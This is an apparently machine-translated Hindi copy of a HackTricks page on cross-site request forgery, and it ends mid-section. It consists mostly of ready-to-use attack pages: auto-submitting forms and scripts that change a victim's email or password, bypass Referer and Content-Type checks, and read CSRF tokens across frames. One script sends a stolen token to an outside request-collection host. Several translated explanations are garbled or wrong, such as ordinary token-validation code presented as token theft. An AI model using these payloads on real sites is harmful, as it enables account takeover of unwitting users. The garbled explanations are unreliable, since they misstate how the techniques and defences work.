56 KiB
CSRF (क्रॉस साइट रिक्वेस्ट फॉर्जरी)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित करना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा एकल NFT संग्रह।
- आधिकारिक PEASS & HackTricks swag प्राप्त करें।
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का** अनुसरण करें।**
- अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके अपने हैकिंग ट्रिक्स साझा करें।
HackenProof में सभी क्रिप्टो बग बाउंटी होती है।
देरी के बिना पुरस्कार प्राप्त करें
HackenProof बाउंटी तब शुरू होती हैं जब उनके ग्राहक इनाम बजट जमा करते हैं। आपको इनाम उस बग को सत्यापित करने के बाद मिलेगा।
Web3 पेंटेस्टिंग में अनुभव प्राप्त करें
ब्लॉकचेन प्रोटोकॉल और स्मार्ट कॉन्ट्रैक्ट्स नई इंटरनेट हैं! इसके उभरते दिनों में web3 सुरक्षा को मास्टर करें।
Web3 हैकर लीजेंड बनें
प्रतिस्पर्धा सूचकांक के साथ प्रत्यामित बग के साथ प्रतिष्ठा अंक प्राप्त करें और साप्ताहिक लीडरबोर्ड के शीर्ष पर विजयी बनें।
HackenProof पर साइन अप करें और अपने हैक्स से कमाई करें!
{% embed url="https://hackenproof.com/register" %}
CSRF क्या है?
क्रॉस-साइट रिक्वेस्ट फॉर्जरी (जिसे CSRF भी कहा जाता है) एक वेब सुरक्षा संकट है जो एक हमलावर को उपयोगकर्ताओं को ऐसी क्रियाएँ करने के लिए प्रेरित करता है जिन्हें वे करना नहीं चाहते हैं।
इसे एक लॉग इन किए हुए उपयोगकर्ता को पीड़ित प्लेटफ़ॉर्म में एक हमलावर नियंत्रित वेबसाइट तक पहुंचने और वहां से दुष्ट JS कोड को चलाने, फ़ॉर्म भेजने या "छवियों" को पीड़ित खाते में प्राप्त करने के द्वारा किया जाता है।
आवश्यकताएँ
CSRF संकट का उपयोग करने के लिए आपको पहले एक महत्वपूर्ण क्रिया का उपयोग करने के लिए खोजना होगा (पासवर्ड या ईमेल बदलें, पीड़ित को सोशल नेटवर्क पर आपका अनुसरण करने दें, आपको अधिक अधिकार दें...)। सत्र केवल कुकीज़ या HTTP बेसिक प्रमाणीकरण हैडर पर निर्भर होना चाहिए, किसी अन्य हेडर का उपयोग सत्र को संभालने के लिए नहीं किया जा सकता है। और अंत में, अनुरोध पर अप्रत्याशित पैरामीटर नहीं होना चाहिए।
इस संकट से बचने के लिए कई संरक्षण उपाय हो सकते हैं।
सामान्य संरक्षण
- SameSite कुकीज़: यदि सत्र कुकी इस फ़्लैग का उपयोग कर रही है, तो आप यात्री वेबसाइट से कुकी भेजने में सक्षम नहीं हो सकते ह
कस्टम हेडर टोकन बाईपास
यदि अनुरोध में एक कस्टम हेडर और एक टोकन के साथ एक CSRF सुरक्षा विधि के रूप में एक टोकन जोड़ा जा रहा है, तो:
- कस्टमाइज़ किए गए टोकन और हेडर के बिना अनुरोध का परीक्षण करें।
- उसी लंबाई वाले लेकिन अलग टोकन के साथ अनुरोध का परीक्षण करें।
CSRF टोकन कुकी द्वारा सत्यापित किया जाता है
पिछली कमजोरी के एक और रूपरेखा में, कुछ एप्लिकेशन प्रत्येक टोकन को एक कुकी और एक अनुरोध पैरामीटर में डुप्लिकेट करते हैं। या वे एक csrf कुकी सेट करते हैं और बैकएंड में जांचते हैं कि csrf टोकन जो भेजा गया है, कुकी से संबंधित टोकन है या नहीं।
जब आगामी अनुरोध को सत्यापित किया जाता है, एप्लिकेशन बस यह सत्यापित करता है कि अनुरोध पैरामीटर में सबमिट किए गए टोकन का मान कुकी द्वारा संग्रहित मान के साथ मेल खाता है।
इस स्थिति में, हमलावर फिर से CSRF हमला कर सकता है यदि वेबसाइट में उसे अपने CSRF कुकी को पीड़ित के रूप में सेट करने की कोई कमजोरी हो।
इस मामले में, आप एक नकली छवि लोड करने का प्रयास करके कुकी सेट कर सकते हैं और फिर इस उदाहरण की तरह CSRF हमला शुरू कर सकते हैं:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
{% hint style="info" %} ध्यान दें कि यदि csrf टोकन सत्र कुकी से संबंधित है तो यह हमला काम नहीं करेगा क्योंकि आपको पीड़ित को अपना सत्र सेट करने की आवश्यकता होगी, और इसलिए आप खुद को हमला कर रहे होंगे। {% endhint %}
Content-Type बदलें
इस के अनुसार, प्रीफ्लाइट अनुरोधों से बचने के लिए POST विधि का उपयोग करते हुए ये Content-Type मान्य हैं:
application/x-www-form-urlencoded
multipart/form-data
text/plain
हालांकि, ध्यान दें कि सर्वर की तर्क संरचना भिन्न हो सकती है इसलिए आपको उल्लिखित मान्यताओं के अलावा अन्य मानों जैसे application/json
,text/xml
, application/xml
. का प्रयास करना चाहिए।
उदाहरण (यहां से यहां से) text/plain के रूप में JSON डेटा भेजने का:
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
एप्लिकेशन/json प्रीफ्लाइट अनुरोध बाईपास
जैसा कि आप पहले से जानते हैं, आप HTML फॉर्म के माध्यम से Content-Type application/json
के साथ POST अनुरोध नहीं भेज सकते हैं, और यदि आप ऐसा करने का प्रयास करते हैं तो XMLHttpRequest
के माध्यम से पहले एक प्रीफ्लाइट अनुरोध भेजा जाता है।
हालांकि, आप कोशिश कर सकते हैं कि आप text/plain
और application/x-www-form-urlencoded
जैसे content types का उपयोग करके JSON डेटा भेजें ताकि पीछे की तरफ से Content-Type का उपयोग करते हुए बैकएंड डेटा का उपयोग कर रहा है या नहीं।
आप Content-Type: text/plain
का उपयोग करके एक फॉर्म भेज सकते हैं और enctype="text/plain"
सेट कर सकते हैं।
यदि सर्वर केवल "application/json" content type को स्वीकार कर रहा है, तो आप "text/plain; application/json" content type भेज सकते हैं जिससे प्रीफ्लाइट अनुरोध ट्रिगर नहीं होगा।
आप एक SWF फ्लैश फ़ाइल का उपयोग करके इस प्रतिबंध को भी बाईपास करने की कोशिश कर सकते हैं। अधिक जानकारी के लिए इस पोस्ट को पढ़ें।
रेफरर / उत्पत्ति जांच बाईपास
रेफरर हेडर से बचें
कुछ एप्लिकेशन्स अनुरोधों में रेफरर हेडर की प्रमाणित करते हैं जब वह अनुरोध में मौजूद होता है, लेकिन यदि हेडर छोड़ दिया जाता है तो प्रमाणित करने की छूट देते हैं।
<meta name="referrer" content="never">
Regexp बाईपास
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
पैरामीटर्स के भीतर रेफरर द्वारा भेजे जाने वाले URL में सर्वर का डोमेन नाम सेट करने के लिए आप निम्नलिखित कर सकते हैं:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
HEAD विधि बाईपास
इस CTF व्राइटअप का पहला हिस्सा बताता है कि Oak के स्रोत कोड में, एक राउटर HEAD अनुरोधों को GET अनुरोध के रूप में संचालित करने के लिए सेट किया गया है - यह एक सामान्य उपाय है जो Oak के लिए अद्वितीय नहीं है। HEAD अनुरोधों के लिए एक विशेष हैंडलर की बजाय, वे सिर्फ GET हैंडलर को दिए जाते हैं लेकिन ऐप सिर्फ उत्तर बॉडी को हटा देता है।
इसलिए, यदि एक GET अनुरोध की सीमा हो रही है, तो आप सिर्फ एक HEAD अनुरोध भेज सकते हैं जो एक GET अनुरोध के रूप में प्रसंस्कृत होगा।
शोषण उदाहरण
CSRF टोकन को निकालना
यदि एक CSRF टोकन का उपयोग रक्षा के रूप में हो रहा है, तो आप एक XSS दुरुपयोग या एक डैंगलिंग मार्कअप दुरुपयोग का उपयोग करके इसे शोषित करने का प्रयास कर सकते हैं।
HTML टैग का उपयोग करके GET
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
अन्य HTML5 टैग जो स्वचालित रूप से GET अनुरोध भेजने के लिए उपयोग किए जा सकते हैं:
फॉर्म GET अनुरोध
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
फॉर्म पोस्ट अनुरोध
A form POST request is a type of HTTP request that is used to submit data to a server. It is commonly used in web applications to send user input or form data to the server for processing. In a form POST request, the data is sent in the body of the request, rather than in the URL.
To make a form POST request, you need to specify the HTTP method as POST in the form's method
attribute. The form data is then sent to the server when the user submits the form.
Here is an example of a form POST request in HTML:
<form method="POST" action="/submit-form">
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<button type="submit">Submit</button>
</form>
In this example, when the user submits the form, the data entered in the username
and password
fields will be sent to the server at the /submit-form
endpoint using a POST request.
It is important to note that form POST requests can be vulnerable to Cross-Site Request Forgery (CSRF) attacks. CSRF attacks occur when an attacker tricks a user into unknowingly submitting a form on a trusted website, leading to unauthorized actions being performed on their behalf. To protect against CSRF attacks, web applications can implement measures such as using CSRF tokens or checking the Referer
header in the server-side code.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
आईफ्रेम के माध्यम से फॉर्म पोस्ट अनुरोध
आईफ्रेम के माध्यम से फॉर्म पोस्ट अनुरोध करने के लिए, आप निम्नलिखित चरणों का पालन कर सकते हैं:
- एक आईफ्रेम तैयार करें और उसे वेब पृष्ठ में सम्मिलित करें।
<iframe name="hiddenFrame" style="display:none;"></iframe>
- फॉर्म को आईफ्रेम के साथ संबद्ध करें और अनुरोध को भेजने के लिए आईफ्रेम को उपयोग करें।
<form action="https://example.com/post-endpoint" method="POST" target="hiddenFrame">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
<input type="submit" value="Submit">
</form>
इस तरह, जब फॉर्म सबमिट होता है, यह आईफ्रेम के माध्यम से अनुरोध को भेजता है और उपयोगकर्ता को इसका ज्ञान नहीं होता है। इस तरीके का उपयोग करके, आप एक वेब पृष्ठ को अनुरोध भेजने के लिए दूसरे वेब पृष्ठ के नाम में अनुरोध कर सकते हैं, जिससे CSRF (क्रॉस-साइट अनुरोध फर्जी) हमलों का उपयोग किया जा सकता है।
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
एजेक्स POST अनुरोध
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2"
})
</script>
multipart/form-data POST अनुरोध
एक multipart/form-data POST अनुरोध एक वेब अनुरोध है जो डेटा को एक वेब सर्वर को भेजने के लिए उपयोग किया जाता है। इस अनुरोध में डेटा को अलग-अलग भागों में विभाजित किया जाता है और प्रत्येक भाग को एक अलग-अलग बाउंडरी के साथ संबद्ध किया जाता है। यह अनुरोध फ़ाइल अपलोड करने के लिए विशेष रूप से उपयोगी होता है।
जब एक multipart/form-data POST अनुरोध भेजा जाता है, तो अनुरोध के हेडर में Content-Type में multipart/form-data घोषित किया जाता है। इसके बाद, अनुरोध बॉडी में डेटा को बाउंडरी के साथ एन्कोड किया जाता है। प्रत्येक डेटा भाग को उसके नाम, टाइप, और वैल्यू के साथ जोड़ा जाता है।
एक multipart/form-data POST अनुरोध का उपयोग करके, एक हैकर एक वेब अनुप्रयोग में CSRF (Cross-Site Request Forgery) हमला कर सकता है। CSRF हमला में, हैकर एक विषय को धोखा देकर उसे विशिष्ट वेब साइट पर एक अनुरोध भेजता है। जब विषय वेब साइट पर है, उसके ब्राउज़र में एक अनुरोध भेजा जाता है जो उसे अनुप्रयोग के नाम परिवर्तित कर सकता है। इस तरह, हैकर विषय के नाम में अपवाद डेटा भेजकर अनुप्रयोग को धोखा दे सकता है।
एक CSRF हमला को रोकने के लिए, वेब अनुप्रयोगों को CSRF तोकन्स का उपयोग करना चाहिए। CSRF टोकन एक यात्री कोड होता है जो विषय के ब्राउज़र में संग्रहीत किया जाता है और हर अनुरोध के साथ भेजा जाता है। वेब सर्वर अनुरोध को स्वीकार करने से पहले, यह यात्री कोड की जांच करेगा और यदि यह सही है, तो ही अनुरोध को स्वीकार करेगा। इस तरह, CSRF हमला को रोका जा सकता है।
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
multipart/form-data POST अनुरोध v2
In this technique, we will explore how to perform a CSRF attack using a multipart/form-data POST request. This technique is effective when the target application uses this type of request to process user-submitted data.
इस तकनीक में, हम जांचेंगे कि कैसे multipart/form-data POST अनुरोध का उपयोग करके CSRF हमला किया जा सकता है। यह तकनीक प्रभावी होती है जब लक्षित एप्लिकेशन उपयोगकर्ता द्वारा प्रस्तुत डेटा को प्रोसेस करने के लिए इस प्रकार के अनुरोध का उपयोग करता है।
To perform this attack, we need to create a malicious HTML page that includes a form with the necessary fields to submit the request. The form should be configured to target the vulnerable endpoint of the application.
इस हमले को करने के लिए, हमें एक दुष्ट HTML पेज बनाने की आवश्यकता होती है जिसमें अनुरोध सबमिट करने के लिए आवश्यक फ़ील्ड्स के साथ एक फ़ॉर्म शामिल हो। फ़ॉर्म को ऐसे कॉन्फ़िगर किया जाना चाहिए कि यह एप्लिकेशन के संकटपूर्ण अंत बिंदु को लक्षित करे।
The fields in the form should match the expected parameters of the vulnerable endpoint. Additionally, we need to include a CSRF token in the form to bypass any CSRF protection mechanisms implemented by the application.
फ़ॉर्म में फ़ील्ड्स को लक्षित अंत बिंदु के अपेक्षित पैरामीटर के साथ मेल खाना चाहिए। इसके अलावा, हमें फ़ॉर्म में एक CSRF टोकन शामिल करना चाहिए ताकि एप्लिकेशन द्वारा लागू की गई किसी भी CSRF सुरक्षा युक्तियों को बाईपास किया जा सके।
Once the victim visits our malicious page, their browser will automatically submit the form, triggering the CSRF attack. The request will be sent to the vulnerable endpoint, and if successful, the attacker can perform actions on behalf of the victim.
एक बार जब पीड़ित व्यक्ति हमारे दुष्ट पेज पर जाता है, तो उनका ब्राउज़र स्वचालित रूप से फ़ॉर्म को सबमिट करेगा, जिससे CSRF हमला ट्रिगर होगा। अनुरोध लक्षित अंत बिंदु को भेजा जाएगा, और यदि सफल होता है, तो हमलावर पीड़ित व्यक्ति के नाम पर कार्रवाई कर सकता है।
It is important to note that this technique relies on the victim being authenticated in the target application. Without authentication, the CSRF attack may not be successful.
यह महत्वपूर्ण है कि इस तकनीक पर विश्वास करने के लिए लक्षित व्यक्ति को लक्षित अनुप्रयोग में प्रमाणित किया जाना चाहिए। प्रमाणीकरण के बिना, CSRF हमला सफल नहीं हो सकता है।
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
आईफ्रेम के भीतर से फॉर्म पोस्ट अनुरोध
If you have control over a website and want to perform a Cross-Site Request Forgery (CSRF) attack, you can use an iframe to send a form POST request from within the iframe. This technique allows you to trick the user into unknowingly submitting a form on the target website.
यदि आपके पास किसी वेबसाइट पर नियंत्रण है और आप क्रॉस-साइट रिक्वेस्ट फ़ॉर्ज़री (CSRF) हमला करना चाहते हैं, तो आप आईफ्रेम का उपयोग करके आईफ्रेम के भीतर से एक फॉर्म पोस्ट अनुरोध भेज सकते हैं। यह तकनीक आपको उपयोगकर्ता को धोखा देकर लक्षित वेबसाइट पर एक फॉर्म सबमिट करने के लिए मजबूर करती है।
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
CSRF टोकन चुराएं और एक POST अनुरोध भेजें
एक CSRF टोकन चुराने के लिए, आपको पहले वेब ऐप्लिकेशन में लॉग इन करना होगा। इसके बाद, आपको वेब पेज के HTML को जांचना होगा और CSRF टोकन को खोजना होगा। यह टोकन आमतौर पर एक छिपा हुआ फ़ील्ड में संग्रहीत होता है, जैसे कि <input type="hidden" name="csrf_token" value="यहां आपका टोकन होगा">
।
एक बार जब आप टोकन को प्राप्त कर लेते हैं, आप इसे एक POST अनुरोध में सम्मिलित कर सकते हैं। आपको एक HTTP POST अनुरोध बनाना होगा और इसमें आपको टोकन को सही फ़ील्ड में सेट करना होगा। इसके बाद, आप अपने अनुरोध को वेब सर्वर पर भेज सकते हैं। जब यह अनुरोध सर्वर द्वारा प्राप्त होता है, वह सर्वर टोकन की जांच करेगा और यदि टोकन मान्य है, तो अनुरोध को स्वीकार करेगा। इस तरह, आप एक CSRF अधिकारी के रूप में टोकन का उपयोग करके अनुरोध भेज सकते हैं और वेब ऐप्लिकेशन को धोखा दे सकते हैं।
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
CSRF टोकन चोरी करें और एक आईफ्रेम, एक फॉर्म और एजेक्स का उपयोग करके एक पोस्ट अनुरोध भेजें
To steal the CSRF token and send a POST request using an iframe, a form, and Ajax, follow these steps:
- एक आईफ्रेम बनाएं और उसे वेब पेज में संगठित करें।
- आईफ्रेम को लक्षित वेबसाइट के CSRF टोकन वाले पेज पर सेट करें।
- एक छिपी हुई फॉर्म बनाएं और उसे आईफ्रेम में दर्शाएं।
- फॉर्म में आवश्यक डेटा भरें और CSRF टोकन को भी शामिल करें।
- एजेक्स का उपयोग करके फॉर्म को सबमिट करें और POST अनुरोध भेजें।
इस तरीके का उपयोग करके, हम आईफ्रेम के माध्यम से लक्षित वेबसाइट के CSRF टोकन को चुरा सकते हैं और एक छिपी हुई फॉर्म के माध्यम से उसे एक POST अनुरोध के साथ भेज सकते हैं।
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
CSRF टोकन चुराएं और एक आईफ्रेम और एक फॉर्म का उपयोग करके एक POST अनुरोध भेजें
एक आईफ्रेम और एक फॉर्म का उपयोग करके CSRF टोकन चुराने और एक POST अनुरोध भेजने के लिए निम्नलिखित कदमों का पालन करें:
- एक आईफ्रेम बनाएं और उसे वेब पृष्ठ में संगठित करें।
<iframe id="csrf-frame" style="display:none;"></iframe>
- आईफ्रेम को वेब पृष्ठ में लोड करें और उसे टारगेट वेबसाइट के CSRF पेज पर निर्दिष्ट करें।
document.getElementById('csrf-frame').src = 'https://target-website.com/csrf-page';
- आईफ्रेम के अंदर एक फॉर्म बनाएं और CSRF टोकन को चुराएं।
var csrfToken = document.getElementById('csrf-frame').contentWindow.document.getElementsByName('csrf-token')[0].value;
- चोरी किए गए CSRF टोकन का उपयोग करके एक POST अनुरोध भेजें।
var form = document.createElement('form');
form.method = 'POST';
form.action = 'https://target-website.com/vulnerable-endpoint';
form.innerHTML = '<input type="hidden" name="csrf-token" value="' + csrfToken + '">';
document.body.appendChild(form);
form.submit();
इस तकनीक का उपयोग करके आप एक आईफ्रेम और एक फॉर्म का उपयोग करके CSRF टोकन चुरा सकते हैं और एक POST अनुरोध भेज सकते हैं।
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
टोकन चुराएं और इसे 2 आइफ्रेम का उपयोग करके भेजें
To steal the token and send it using 2 iframes, follow these steps:
- Create two iframes in your malicious web page.
- Set the source of the first iframe to the target website's login page.
- Set the source of the second iframe to a page on your own server that will receive the stolen token.
- Use JavaScript to automatically submit the login form in the first iframe.
- Once the user logs in, the token will be sent to the second iframe on your server.
- Retrieve the stolen token from the second iframe and use it for malicious purposes.
By using this technique, you can trick users into unknowingly providing their authentication token, allowing you to impersonate them and perform actions on their behalf. It is important to note that this technique may not work if the target website has implemented countermeasures such as SameSite cookies or CSRF tokens.
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTAjax के साथ CSRF टोकन चुराएं और एक फॉर्म के साथ पोस्ट भेजें
एक और तकनीक है जिसमें हम Ajax का उपयोग करके CSRF टोकन चुरा सकते हैं और एक फॉर्म के साथ पोस्ट भेज सकते हैं। इस तकनीक का उपयोग करने के लिए हमें निम्नलिखित कदमों का पालन करना होगा:
- पहले, हमें वेब पेज पर मौजूद CSRF टोकन को चुराने के लिए एक Ajax अनुरोध भेजना होगा। इसके लिए, हम निम्नलिखित जावास्क्रिप्ट कोड का उपयोग कर सकते हैं:
var xhr = new XMLHttpRequest();
xhr.open("GET", "/get_csrf_token", true);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var response = JSON.parse(xhr.responseText);
var csrfToken = response.csrf_token;
// CSRF टोकन को चुरा लिया गया है, अब हमें इसे उपयोग करके एक पोस्ट अनुरोध भेजना होगा।
sendPostRequest(csrfToken);
}
};
xhr.send();
function sendPostRequest(csrfToken) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "/post_data", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
console.log("पोस्ट सफलतापूर्वक भेजा गया है!");
}
};
xhr.send("data=यहां आपका डेटा होगा&csrf_token=" + csrfToken);
}
- दूसरे कदम में, हमें वेब सर्वर पर एक एंडप्वाइंट बनाना होगा जो CSRF टोकन को वापस भेजेगा। इसके लिए, हमें निम्नलिखित कोड को वेब सर्वर पर जोड़ना होगा:
from flask import Flask, jsonify, request
app = Flask(__name__)
@app.route("/get_csrf_token", methods=["GET"])
def get_csrf_token():
# CSRF टोकन को यहां उत्पन्न करें और उसे जवाब में वापस भेजें
csrf_token = generate_csrf_token()
return jsonify({"csrf_token": csrf_token})
@app.route("/post_data", methods=["POST"])
def post_data():
data = request.form.get("data")
csrf_token = request.form.get("csrf_token")
# CSRF टोकन की सत्यता की जांच करें और डेटा को संग्रहीत करें
if validate_csrf_token(csrf_token):
save_data(data)
return "पोस्ट सफलतापूर्वक संग्रहीत किया गया है!"
else:
return "अमान्य CSRF टोकन!"
if __name__ == "__main__":
app.run()
इस तरह, हम Ajax का उपयोग करके CSRF टोकन को चुरा सकते हैं और एक फॉर्म के साथ पोस्ट भेज सकते हैं।
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
Socket.IO के साथ CSRF
Socket.IO को उपयोग करके Cross-Site Request Forgery (CSRF) अटैक को अपनाना एक चुनौतीपूर्ण कार्य हो सकता है। CSRF अटैक में, हम एक विश्वसनीय उपयोगकर्ता को धोखा देकर अनचाहे रूप से उनके नाम पर अनुरोध भेजते हैं। इसके परिणामस्वरूप, उपयोगकर्ता के नाम पर अनचाहे रूप से क्रियाएँ हो सकती हैं, जैसे कि उपयोगकर्ता के नाम पर ईमेल भेजना, साइट से लॉगआउट करना, या उपयोगकर्ता के नाम पर विश्वसनीय वेबसाइटों पर विजिट करना।
Socket.IO का उपयोग करके CSRF अटैक को रोकने के लिए, हमें एक CSRF टोकन का उपयोग करना चाहिए। यह टोकन उपयोगकर्ता के ब्राउज़र में संग्रहीत किया जाता है और हर अनुरोध के साथ भेजा जाता है। सर्वर साइड पर, हमें इस टोकन को सत्यापित करना चाहिए और केवल सत्यापित टोकन के साथ ही अनुरोध को स्वीकार करना चाहिए।
यहां एक उदाहरण है कि कैसे हम Socket.IO के साथ CSRF अटैक को रोक सकते हैं:
// सर्वर साइड
